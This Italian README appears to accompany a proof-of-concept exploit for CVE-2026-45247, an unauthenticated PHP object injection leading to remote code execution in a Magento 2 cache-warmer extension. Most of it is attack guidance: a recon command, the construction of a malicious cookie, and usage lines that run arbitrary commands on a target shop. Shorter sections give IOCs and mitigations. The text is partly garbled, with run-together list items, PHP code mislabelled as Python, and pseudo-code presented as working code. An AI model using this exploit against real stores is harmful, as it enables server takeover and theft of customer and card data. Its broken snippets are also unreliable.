
PoC funzionale di CVE-2026-45247: PHP Object Injection a RCE non autenticato in Mirasvit Full Page Cache (Magento 2).
CVE-2026-45247 è una vulnerabilità critica di Iniezione di Oggetti PHP (PHP Object Injection) nell'estensione Mirasvit Full Page Cache Warmer per Magento 2 e Adobe Commerce. Un attaccante non autenticato può ottenere Esecuzione Remota di Codice (RCE) inviando un oggetto PHP serializzato manipolato nel cookie CacheWarmer.
La vulnerabilità risiede nella chiamata senza restrizioni alla funzione nativa unserialize() di PHP, combinata con catene di gadget (gadget chains) disponibili in Magento e nelle sue dipendenze (in particolare Monolog).
| Attributo | Valore |
|---|---|
| CVE | CVE-2026-45247 |
| Prodotto | Mirasvit Full Page Cache Warmer per Magento 2 |
| Versioni interessate | Tutte le versioni precedenti alla 1.11.12 |
| Patch disponibile | Versione 1.11.12 (25 maggio 2026) |
| CVSS Score | 9.8 (Critica) |
| Vettore | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Stato in CISA KEV | Sfruttamento attivo confermato (aggiunto il 03/06/2026) |
| Scadenza | 06/06/2026 |
CacheWarmer in ogni richiesta del negoziounserialize() senza sanitizzazioneSyslogUdpHandler, BufferHandler, FingersCrossedHandler), si ottiene RCE# Verificare se il negozio usa Mirasvit Cache Warmer
curl -s https://negozio.com/pub/media/mirasvit/cache_warmer/CHANGELOG.md
Fase 2: Analisi della Vulnerabilità
python
# Il cookie viene elaborato ad ogni richiesta senza autenticazione
# Il codice vulnerabile in Mirasvit:
$cookieValue = $_COOKIE['CacheWarmer'];
$data = unserialize(base64_decode($cookieValue)); # ¡Peligro!
Fase 3: Esecuzione dell'Exploit
python
# Costruzione del cookie malizioso
payload = serialize(PHPObjectInjection())
cookie_value = f"CacheWarmer:{base64_encode(payload)}"
# Invio della richiesta
requests.get(target, cookies={'CacheWarmer': cookie_value})
🛠️ Uso del PoC
Installazione
bash
git clone https://github.com/tuo-utente/CVE-2026-45247.git
cd CVE-2026-45247
pip install requests
Esecuzione Base
bash
# Verificare la vulnerabilità
python3 cve_2026_45247_poc.py https://negozio.esempio.com --check-only
# Eseguire il comando 'id'
python3 cve_2026_45247_poc.py https://negozio.esempio.com "id"
# Eseguire un comando personalizzato
python3 cve_2026_45247_poc.py https://negozio.esempio.com "whoami"
# Usare un proxy per il debug
python3 cve_2026_45247_poc.py https://negozio.esempio.com "ls -la" --proxy http://127.0.0.1:8080
Script Veloce
bash
# Verificare con script bash
chmod +x check_cve_2026_45247.sh
./check_cve_2026_45247.sh https://negozio.esempio.com
📊 Impatto Dimostrato
Esecuzione remota di comandi (RCE) sul server Magento
Accesso completo al database di clienti e ordini
Installazione di webshell per persistenza
Compromissione totale del negozio online
Potenziale furto di dati di carte di credito
Movimento laterale nell'infrastruttura aziendale
🛡️ Rilevamento
Indicatori di Compromissione (IOC)
Nei log di accesso:
text
CacheWarmer: (Tz|Qz|YT)[a-zA-Z0-9+/=]+
Comandi osservati nello sfruttamento:
bash
echo PWNED_CVE2026_$(date +%s)
sleep 5
Catene di gadget utilizzate:
Monolog\Handler\SyslogUdpHandler
Monolog\Handler\BufferHandler
Monolog\Handler\FingersCrossedHandler
Monolog\Handler\GroupHandler
🔧 Mitigazione
Aggiornamento Immediato
bash
# Aggiornare alla versione patchata
composer require mirasvit/module-cache-warmer:1.11.12
bin/magento cache:flush
Mitigazioni Temporanee
nginx
# Bloccare il cookie CacheWarmer in .htaccess o nginx
RewriteCond %{HTTP_COOKIE} CacheWarmer
RewriteRule .* - [F,L]
php
// In app/code/local/Custom/BlockCookie.php
if (isset($_COOKIE['CacheWarmer'])) {
unset($_COOKIE['CacheWarmer']);
}